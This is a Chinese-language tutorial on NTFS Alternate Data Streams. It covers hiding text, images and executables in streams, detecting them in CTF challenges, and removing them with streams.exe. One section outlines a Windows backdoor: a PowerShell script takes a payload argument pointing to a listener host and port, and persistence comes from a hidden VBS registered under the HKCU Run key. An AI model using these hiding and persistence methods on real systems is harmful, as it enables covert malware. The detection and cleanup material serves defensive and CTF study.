by Chesky
##目錄
####一、NTFS交換數據流(ADS)簡介
####二、ADS應用
寫入隱藏文件(文本\圖像\可執行文件)
ADS在Windows平台下的利用——寫入后門
ADS在Web中的利用——Get shell(待完成)
####三、NTFS交換數據流在CTF中的應用——查看ADS內容
####四、清除ADS
##Content
####一、NTFS交換數據流(ADS)簡介
在NTFS文件系統中存在着NTFS交換數據流(Alternate Data Streams,簡稱ADS),這是NTFS磁盤格式的特性之一。每一個文件,都有着主文件流和非主文件流,主文件流能夠直接看到;而非主文件流寄宿於主文件流中,無法直接讀取,這個非主文件流就是NTFS交換數據流。
ADS的作用在於,它允許一個文件攜帶着附加的信息。例如,IE瀏覽器下載文件時,會向文件添加一個數據流,標記該文件來源於外部,即帶有風險,那么,在用戶打開文件時,就會彈出文件警告提示。再如,在網址收藏中,也會附加一個favicon數據流以存放網站圖標。
ADS也被用於一些惡意文件隱藏自身,作為后門。
####二、ADS應用
**最好在管理員模式下操作(需要文件的寫權限)
**格式為 宿主文件:關聯的數據流文件
1.向ADS中寫入文本文件
首先需要創建一個文本文件,這里的測試文件是001.txt
然后向這個文件寫入ADS
echo "Baolimo" > 001.txt:hidden.txt /*echo "隱藏內容" >宿主文件:關聯文件*/
可以看到,文件字節沒有改變,但是時間改動了。
還可以使用type命令,將已經存在的文件附加上去。
type "test002.txt" > "001.txt":"test002.txt" /*type "要隱藏的附加文件">"宿主文件":"要隱藏的附加文件" 最好使用引號括起來,否則會引起誤解 */
2、向ADS中寫入圖像/音頻/可執行文件
類似於寫入文本文件,可以使用如下命令:
type "hidden.jpg" > "targe.jpg":"hidden.jpg" type "hidden.mp4" > "targe.jpg":"hidden.mp4" type "hidden.exe">>"targe.txt":"hidden.exe" type "hidden.exe">>"targe.exe":"hidden.exe"
3.在Windows平台下使用ADS構造后門
在Windows XP中,可執行文件可以隱藏並且被執行。但是,微軟已經發現了這個問題並進行了修復,目前在Windows Vista及后續系統中已經無法直接運行ADS中的可執行文件了。
我們可以使用mklink命令來建立一個鏈接,但必須要管理員權限才能完成。
mklink D:\moha.exe "hidden.txt":moha.exe
這里有一個在普通用戶權限下也可操作的方法,使用Powershell的腳本。
這個腳本只有兩個參數:
Arguments “BadFunction -Lhost 192.168.1.11 -LPort 3333 -Payload weeeeee”
-URL即payload,-Arguments是Payload所需要的參數。
這個后門被運行后,會在注冊表下
HKCU:\Software\Microsoft\Windows\CurrentVersion\Run中建立一個鍵值為update的鍵,注冊表的鍵值調用wscript.exe來執行隱藏的VBS。執行完畢后,VBS腳本會解析執行在AppData目錄下的payload(當然,是隱藏的)。
具體內容參考作者的文章。
在Windows10下,這個方法已經意義不大了,WD會對該腳本進行查殺。不過也可以考慮Winrar自解壓文件,但是這個方法……呃……
從目前公開的資料來看,對ADS的利用主要集中於Web方面,但是我暫時不打算發展這方向的,這一塊以后寫一寫。
4.Getshell(待完成)
####三、NTFS交換數據流在CTF中的應用——查看ADS內容
**如果文件原本是在壓縮包內的,這時使用除WinRAR以外的軟件進行提取會造成數據流丟失。所以務必使用WinRar進行文件解壓。
**最好不使用CMD命令(notepad)查看,這些命令對ADS的支持不是很好。
1.使用工具查看
使用工具查看是最快捷方便的方法了,可以使用NTFS Streams Info這個軟件進行查看,但似乎是收費的。
地址:https://ntfs-streams-info.en.softonic.com/
在做CTF題時,我用的是Ntfs Streams Editor這個軟件。
網盤下載:http://pan.baidu.com/s/1c2zbNaC
2.使用labs
網盤下載:http://pan.baidu.com/s/1slTJwMp
將labs.exe放入需要檢測的文件的所在目錄下。
lads.exe File /S /*這條命令會檢測File這個目錄下所有文件的隱藏流文件*/ lads.exe /S /*檢測根目錄下的隱藏流文件*/
可以清楚地看到001.txt有着一個ADS:test002.txt。
知道了Hidden的文件,就可以進行查看了。
notepad.exe test.txt:hidden.txt
mspaint.exe test.txt:hidden.jpg
####四、清除ADS
這里可以采用之前的Ntfs Streams Editor這個軟件直接刪除ADS文件。
也可以用streams.exe進行清除。
streams.exe -d <File>
若出現 Error deleting,說明這個進程還在運行,需要先結束該進程再進行刪除操作。